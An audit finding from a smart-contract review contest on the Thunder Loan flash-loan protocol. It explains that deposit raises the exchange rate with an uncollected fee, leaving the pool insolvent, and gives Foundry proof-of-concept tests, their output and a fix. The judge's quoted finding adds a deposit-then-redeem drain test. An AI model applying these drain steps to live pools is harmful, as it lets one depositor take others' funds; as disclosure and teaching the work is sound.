Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

`deposit` credits the deposit itself as fee revenue, so the protocol is insolvent from the very first deposit and liquidity providers who exit first take the shortfall out of those who exit last

ThunderLoan::deposit raises the exchange rate by a fee that was never earned, so claims exceed assets before a single flash loan is taken

Description

  • The exchange rate is the protocol's promise to liquidity providers: amountUnderlying = shares * exchangeRate / 1e18. It exists to distribute flash-loan fees — the README says AssetTokens "gain interest over time depending on how often people take out flash loans", and AssetToken::updateExchangeRate is documented as "it should always go up, never down". It may only rise when new underlying actually arrives as revenue.

  • deposit calls it with the fee that would be charged if the deposited amount were borrowed. No such fee is ever collected. The depositor hands over exactly amount, but the per-share claim of every holder is raised as though amount + fee had arrived.

// src/protocol/ThunderLoan.sol:147-156
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
@> uint256 calculatedFee = getCalculatedFee(token, amount); // @> a fee on a deposit? nothing was borrowed
@> assetToken.updateExchangeRate(calculatedFee); // @> raises everyone's claim, with no new underlying
token.safeTransferFrom(msg.sender, address(assetToken), amount); // only `amount` actually arrives
}

The ordering matters as much as the call itself: mint happens before the rate is raised, so the depositor buys shares at the old rate and is immediately credited with the increase. Every deposit therefore both dilutes the backing and hands the depositor an unearned gain — which is exactly the mechanism by which one liquidity provider ends up taking another's money.

redeem pays out the inflated book value with no solvency check whatsoever:

// src/protocol/ThunderLoan.sol:161-178
uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
...
assetToken.burn(msg.sender, amountOfAssetToken);
@> assetToken.transferUnderlyingTo(msg.sender, amountUnderlying); // @> nothing checks the balance can cover it

so the shortfall is not shared proportionally. It lands entirely on whoever withdraws last.

On the fact that ThunderLoanUpgraded::deposit does not contain these two lines (src/upgradedProtocol/ThunderLoanUpgraded.sol:146-154): that is evidence the lines are unintended, not evidence the issue is already handled. ThunderLoan is the implementation that is live and holding funds, both files are in scope, and the upgrade that would remove these lines is itself broken by the storage-layout collision I am reporting separately — so "just upgrade" is not an available remediation.

Risk

Likelihood:

  • Every deposit triggers it. No attacker, no race, no configuration — the protocol becomes insolvent through its intended, documented happy path, starting with the first liquidity provider.

  • Nothing surfaces it. deposit succeeds, the share balance looks correct, and the problem only appears on the way out.

  • The project's own suite passes 9/9 and contains no test for redeem at all. test/fuzz/Invariant.t.sol names the exact property this breaks — "2. The protocol should never lose liquidity provider deposits, it should always go up" — but the file is an empty contract Invariant { } with the invariants left as comments, so it was never enforced.

Impact:

  • The protocol is insolvent from the first deposit. One LP deposits 1,000 with zero flash loans ever taken: the AssetToken holds exactly 1,000 and the protocol believes it owes 1,003.

  • Liquidity providers steal from each other, decided purely by exit order. With two 1,000-token depositors, the one who exits first collects 1,004.51 — 4.51 more than they put in — and the second is left with 995.49 against their 1,000 principal. The 4.51 comes directly out of the second LP's deposit.

  • The second LP cannot execute a full withdrawal at all. Their book claim is 1,001.50 against 995.49 actually present, so redeem(theirEntireShareBalance) reverts; they can only recover by computing a reduced amount, and the remainder of their shares is permanently unbacked.

  • redeem(type(uint256).max) — the only "withdraw everything" path the contract offers — always reverts, for every LP, in every configuration, because it resolves to the caller's full share balance.

  • The shortfall grows by getCalculatedFee(token, amount) on every deposit, so it scales with cumulative deposit volume rather than being a one-off rounding artifact.

Scope note, stated precisely so it is not overclaimed: a sole liquidity provider is not locked out of their principal. Their full-balance redeem reverts, but a reduced redeem returns 999.999999999999999999 of their 1,000 and strands 2.99 shares' worth of unbacked claim. The real loss requires a second liquidity provider — which is the normal case for a pool.

Proof of Concept

Two scenarios: what a sole LP actually experiences, and where the money really goes once there is more than one.

Save as test/PoC_H02.t.sol and run forge test --mt test_H02 -vv:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console2 } from "forge-std/Test.sol";
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { MockPoolFactory } from "./mocks/MockPoolFactory.sol";
contract PoC_H02 is Test {
address lp1 = makeAddr("lp1");
address lp2 = makeAddr("lp2");
uint256 constant DEP = 1000e18;
function _fresh() internal returns (ThunderLoan tl, ERC20Mock t) {
MockPoolFactory f = new MockPoolFactory();
t = new ERC20Mock();
f.createPool(address(t));
tl = ThunderLoan(address(new ERC1967Proxy(address(new ThunderLoan()), "")));
tl.initialize(address(f));
tl.setAllowedToken(t, true);
}
function _deposit(ThunderLoan tl, ERC20Mock t, address who, uint256 amt) internal {
t.mint(who, amt);
vm.startPrank(who);
t.approve(address(tl), amt);
tl.deposit(t, amt);
vm.stopPrank();
}
function test_H02_insolventFromTheFirstDeposit() public {
(ThunderLoan tl, ERC20Mock t) = _fresh();
_deposit(tl, t, lp1, DEP); // the ONLY thing that ever happens - no flash loan
AssetToken a = tl.getAssetFromToken(t);
uint256 held = t.balanceOf(address(a));
console2.log("held :", held);
console2.log("book value :", a.balanceOf(lp1) * a.getExchangeRate() / 1e18);
assertGt(a.balanceOf(lp1) * a.getExchangeRate() / 1e18, held, "claims already exceed assets");
// the only "withdraw everything" path the contract offers
vm.prank(lp1);
vm.expectRevert(); // ERC20: transfer amount exceeds balance
tl.redeem(t, type(uint256).max);
console2.log("redeem(max) : REVERTED");
// a sole LP CAN still get their principal out by asking for less
uint256 capped = held * 1e18 / a.getExchangeRate();
vm.prank(lp1);
tl.redeem(t, capped);
console2.log("sole LP capped redeem gets :", t.balanceOf(lp1));
console2.log("unbacked shares left over :", a.balanceOf(lp1));
}
function test_H02_firstExiterTakesTheSecondLpsMoney() public {
(ThunderLoan tl, ERC20Mock t) = _fresh();
_deposit(tl, t, lp1, DEP);
_deposit(tl, t, lp2, DEP);
AssetToken a = tl.getAssetFromToken(t);
uint256 s1 = a.balanceOf(lp1);
uint256 s2 = a.balanceOf(lp2);
vm.prank(lp1);
tl.redeem(t, s1);
console2.log("lp1 deposited :", DEP);
console2.log("lp1 exits first, receives :", t.balanceOf(lp1));
console2.log("left in the pool for lp2 :", t.balanceOf(address(a)));
console2.log("lp2 book claim :", s2 * a.getExchangeRate() / 1e18);
assertGt(t.balanceOf(lp1), DEP, "lp1 withdrew more than they deposited");
vm.prank(lp2);
vm.expectRevert();
tl.redeem(t, s2);
console2.log("lp2 full redeem : REVERTED");
uint256 capped = t.balanceOf(address(a)) * 1e18 / a.getExchangeRate();
vm.prank(lp2);
tl.redeem(t, capped);
console2.log("lp2 capped redeem gets :", t.balanceOf(lp2));
console2.log("lp2 shortfall vs deposit :", DEP - t.balanceOf(lp2));
assertLt(t.balanceOf(lp2), DEP, "lp2 lost part of their principal");
}
}

Output:

[PASS] test_H02_insolventFromTheFirstDeposit() (gas: 9567299)
Logs:
held : 1000000000000000000000
book value : 1003000000000000000000
redeem(max) : REVERTED
sole LP capped redeem gets : 999999999999999999999
unbacked shares left over : 2991026919242273181
[PASS] test_H02_firstExiterTakesTheSecondLpsMoney() (gas: 9657176)
Logs:
lp1 deposited : 1000000000000000000000
lp1 exits first, receives : 1004506753369945082000
left in the pool for lp2 : 995493246630054918000
lp2 book claim : 1001502246630054917247
lp2 full redeem : REVERTED
lp2 capped redeem gets : 995493246630054917999
lp2 shortfall vs deposit : 4506753369945082001

No flash loan is taken in either scenario. The 3-token gap in the first is exactly getCalculatedFee(token, 1000e18) — a fee on a loan that never happened — and in the second it is 4.51 tokens moved from one honest liquidity provider to another.

Recommended Mitigation

A deposit is not revenue. Remove both lines; the exchange rate should move only where a fee is actually collected.

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

This is exactly the shape of ThunderLoanUpgraded::deposit, so it is a known-good form for this codebase.

Because the rate is already inflated on any deployed instance, and AssetToken is created with new (:234) rather than behind a proxy, s_exchangeRate cannot be corrected after the fact by any existing code path — an onlyThunderLoan corrective setter, or deploying AssetToken upgradeably, is needed for remediation on a live pool.

Independently of the fix, redeem should refuse to pay out more than the AssetToken holds, so any future accounting error degrades into a clear failure instead of a first-come-first-served race:

uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
+ uint256 available = token.balanceOf(address(assetToken));
+ if (amountUnderlying > available) {
+ revert ThunderLoan__NotEnoughTokenBalance(available, amountUnderlying);
+ }

And implement the invariant the repository already names: totalSupply() * getExchangeRate() / 1e18 <= underlying.balanceOf(assetToken) fails on the very first deposit.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 12 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!